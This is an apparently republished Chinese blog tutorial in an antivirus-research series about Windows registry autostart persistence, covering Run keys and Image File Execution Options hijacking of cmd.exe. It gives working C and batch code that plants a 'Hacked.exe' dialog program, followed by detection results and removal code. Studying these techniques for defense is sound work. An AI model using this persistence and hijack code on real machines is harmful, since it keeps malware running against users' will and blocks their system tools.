• 反病毒攻防研究第001篇:利用注册表实现自启动


    一、前言

            我在上一篇文章中说到,一般来讲,用户只要不去双击病毒木马,那么它就不会运行。说到运行,其实实现病毒木马自运行的方式有很多,但是前提都是需要有人对其进行双击操作,从而启动病毒木马的自运行功能。

            而这次我主要讨论的是利用注册表实现“病毒”(对话框)的自启动,准确来说是,当有用户第一次双击运行了“病毒”(对话框)程序后,它会在每次开机时实现自启动。这一方法多被木马所采用,因为木马要实现远程控制,就需要木马服务器端时刻在线,这样黑客就可以利用客户端来操控被植入木马的用户的计算机了。而在最后,我依然要对如何处理这种自启动技术进行论述,彻底将病毒木马所扼杀。

     

    二、常用的注册表启动项

            利用注册表相关的注册表项实现程序的自启动是一种很常见的方法,注册表中可被利用的表项非常多,常见的如下:

            1. Run注册表键

            HKCUSoftwareMicrosoftWindowsCurrentVersionRun

            HKCUSoftwareMicrosoftWindowsCurrentVersionRunOnce

            HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun

            HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnce

            需要注意的是,这里的RunOnce只会运行一次,之后该表项内容就自动删除。

            2. Load注册表键

            HKCU SoftwareMicrosoftWindowsNTCurrentVersionWindowsload

            3. Userinit注册表键

            HKLM SOFTWAREMicrosoftWindows NTCurrentVersionWinlogonUserinit

            通常该注册键下面有一个userinit.exe,但这个键允许指定用逗号分隔的多个程序,例如:userinit.exe,OSA.exe。

            下面通过编程修改HKCUSoftwareMicrosoftWindowsCurrentVersionRun为例,将我们的对话框在开机时实现自启动:

    void AddReg()
    {
            char RegName[]="Software\Microsoft\Windows\CurrentVersion\Run";
            char szBuf[MAX_PATH];
            HKEY hKey = NULL;
    	
            strcpy(szBuf,"%windir%\Hacked.exe");
            RegOpenKey(HKEY_CURRENT_USER,RegName,&hKey);
            RegSetValueEx(hKey,            //subkey handle
                    "Hacked",              //value name
                    0,                     //must be zero
                    REG_EXPAND_SZ,         //value type
                    (LPBYTE)szBuf,         //pointer to value data
                    strlen(szBuf)+1 );     //length of value data
            RegCloseKey(hKey);
    }

            将上述代码加入到上一章的Main函数中,重启计算机后,“病毒”就可实现自运行。可以修改上述代码中相应的注册表代码,以添加到不同的注册表项中实现自启动。


    图1 修改注册表实现自启动

            这里再讲一下整个程序的执行流程。首先当双击这个可执行文件后,会弹出对话框,提示用户“中毒”,之后单击“确定”,对话框消失,程序将自身复制到Windows目录以及系统目录中,之后创建并执行批处理文件以删除自身与该批处理,最后将Windows目录下的Hacked.exe添加到注册表中,以实现自启动。

            但是需要说明的是,在装有杀毒软件的计算机上运行此程序,杀软往往会提示开机启动项被修改,如下图所示:


    图2 杀软提示开机启动项被修改

            这说明修改注册表启动项的位置确实是一项可疑操作,是很容易被杀软所发现的。上述功能也可以用批处理实现:代码如下:

    @echo off
    echo Windows Registry Editor Version 5.00 >>1.reg
    echo [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun] >>1.reg
    echo "Hacked.exe"="C:\Windows\Hacked.exe" >>1.reg
    regedit /s 1.reg
    del /f 1.reg

            上述批处理代码会首先创建一个注册表文件(REG),将相应的代码写入该文件中,运行后再删除该注册表文件。

            当然了,存在更好的方式实现程序的隐藏启动,这将在以后的文章中论述。

     

    三、利用映像劫持实现程序的启动

            这里既然提到了注册表,那么还有一个关键的注册表项需要说明,那就是映像劫持,位于注册表HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage FileExecution Option下。映像劫持的本意是为一些在默认系统中运行时可能引发错误的程序执行体提供特殊的环境设定,它对一般用户意义不大,相反,它容易被病毒利用。有些病毒利用这招来对付我们的杀毒软件或是其他的一些安全分析工具,其实我们也可以以牙还牙,用这招来对付病毒,让病毒无法启动,但前提是该病毒的名称不能与系统的主要进程名称相同,如果相同的话可能使系统无法工作。

            举例来说,若不希望cmd.exe在电脑上运行,取而代之的是我们的对话框,那么可以在注册表的IFEO路径下添加名为cmd.exe的项,再在右边新建一个字符串值,命名为Debugger,再在里面填上我们想要运行的对话框的路径即可。代码如下:

    void AddIFEO()
    {
            char RegName[]="SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe";
            char szBuf[MAX_PATH];
            HKEY hKey = NULL;
    
            strcpy(szBuf,"C:\Windows\Hacked.exe");
            RegCreateKey(HKEY_LOCAL_MACHINE, RegName,&hKey);
            RegSetValueEx(hKey,          //subkey handle
                    "Debugger",          //value name
                    0,                   //must be zero
                    REG_SZ,              //value type
                    (LPBYTE)szBuf,       //pointer to value data
                    strlen(szBuf)+1 );   //length of value data
            RegCloseKey(hKey);
    }

            批处理代码如下:

    @echo off
    echo Windows Registry Editor Version 5.00 >>1.reg
    echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionscmd.exe] >>1.reg
    echo "Debugger"="C:\Windows\Hacked.exe" >>1.reg
    regedit /s 1.reg
    del /f 1.reg

            这里需要特别说明的是,当“病毒”运行完一次后,当我们想要运行cmd.exe时,由于上述程序劫持了cmd.exe,所以会直接触发“病毒”。而“病毒”程序在单击确定后会调用DOS下的批处理实现自身的删除,而这时相当于打开了cmd.exe,但是由于映像劫持的作用,命令行窗口无法打开,就会再次打开“病毒”程序,如此循环往复,就可以发现,对话框关不掉。这时需要通过任务管理器直接将Hacked.exe关闭。如下图所示:


    图3 通过任务管理器关闭Hacked.exe

     

    四、在线检测 “病毒”程序

            与上一个程序相比,这次的版本增加了注册表的操作,以实现自启动,先用“火眼”进行分析:


    图4 “火眼”检测报告

            通过“火眼”的点评,我们的程序被分析得一清二楚。确实是采用了映像劫持的手段,并添加了开机自启动项。而映像劫持则被“火眼”定义为非常危险的行为。而我的计算机上安装的杀软并未报毒,个人感觉可能是因为我所编写的程序不会造成什么危害,而我的程序确实是无害的。

            那么接下来还需要使用其它的杀软对其进行检测,依旧是通过在线查毒网站VirusTotal对我的程序进行检测,它快捷方便,以后我每写一个新的版本,都会在这个网站以及“火眼”进行检测。结果如下:

    图5 在线查毒

            对比上一篇文章的在线查毒结果,可见这次多了一个NOD32,也许这款杀软对注册表操作或者是映像劫持比较敏感,在此也不再赘述。

     

    五、“病毒”的杀除

            随着程序功能的增多,那么收尾工作也会越来越多,上一篇文章只要删除两个“病毒”文件就可以了,但是这次还要处理注册表项,结合“火眼”进行处理:


    图6 “火眼”的操作监控

            通过截图中的信息,就可以进行专杀工具的编写。其实上一篇文章最后所讲的用于删除“病毒”文件的批处理代码,就可以认为是起到了专杀的效果。以后在文章的最后,我都会附上针对于目前程序的专杀代码。“病毒”在进化,那么我的专杀工具也会不断加强。现在我所做的,相当于是手动查杀病毒木马,这就必须要首先要弄清楚程序的原理,比如创建了什么文件,修改了哪些注册表项,或者劫持了哪些进程等。获取充分的信息之后,制作专杀工具其实是一件很简单的事情,可以采用编码方式,也可以使用专门的软件自动生成专杀工具。所以难点就在于对病毒木马原理的分析。现在我的程序还比较简单,无需使用太复杂的分析技术,随着未来讨论的深入,分析技术也会随着病毒木马的日益复杂而日益加深。

            一般来说,病毒木马的专杀工具可以用C/C++来编写,也可以直接用批处理解决,但是对于本程序来说,由于它劫持了cmd.exe,所以批处理程序无法执行,执行批处理程序只会帮助“病毒”文件不断打开,因此这次的专杀工具选用C/C++来编写。

            以下代码实现删除相应注册表项的操作:

    void KillHackedReg()
    {
            char RegIFEO[] = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options";
            char RegRun[] = "Software\Microsoft\Windows\CurrentVersion\Run";
            HKEY hKeyHKLM = NULL;
            HKEY hKeyHKCU = NULL;
    
            //删除Run下的相应键值
            RegOpenKey(HKEY_CURRENT_USER,RegRun,&hKeyHKCU);
            RegDeleteValue(hKeyHKCU,"Hacked");
            RegCloseKey(hKeyHKCU);
    
            //删除cmd.exe的映像劫持
            RegOpenKey(HKEY_LOCAL_MACHINE,RegIFEO,&hKeyHKLM);
            RegDeleteKey(hKeyHKLM,"cmd.exe");
            RegCloseKey(hKeyHKLM);
    }
            以下代码实现删除“病毒”文件的操作:
    void KillHackedFile()
    {
            char szWindowsHacked[MAX_PATH] = {0};
            char szSystemHacked[MAX_PATH] = {0};
    
            GetWindowsDirectory(szWindowsHacked,MAX_PATH);
            GetSystemDirectory(szSystemHacked,MAX_PATH);
    
            strcat(szWindowsHacked,"\Hacked.exe");
            strcat(szSystemHacked,"\Hacked.exe");
    
            DeleteFile(szWindowsHacked);
            DeleteFile(szSystemHacked);
    }

            专杀工具其实就是基本的API函数的调用,在此也不再讨论。

     

    六、小结

            本篇文章讨论了利用注册表实现程序的自启动,特别是映像劫持,还能使得批处理代码运行失效,因此采用C/C++进行专杀工具的编写还是比较万能,往往不会受到阻碍。

            以上讨论的内容都是十分浅显的原理,但是由此而变化而来的一些技术方法,总会被现实中的病毒木马所利用,从而变成复杂难缠的恶意程序。但是无论怎样,我们都是有办法对付的。所以无需谈毒色变。随着我们安全技术水平的提高,病毒木马就无机可乘。



  • 相关阅读:
    azkaban使用--邮件发送配置
    azkaban使用--schedule定时任务
    azkaban使用--传入动态参数
    GET和POST区别
    微信小程序与java后台交互
    java中的锁分类
    对CAS机制的理解(二)
    对CAS机制的理解(一)
    Spring中Model、ModelMap及ModelAndView之间的区别
    MySQL命令行导入.sql文件遇到的问题
  • 原文地址:https://www.cnblogs.com/csnd/p/11785813.html
Copyright © 2020-2023  润新知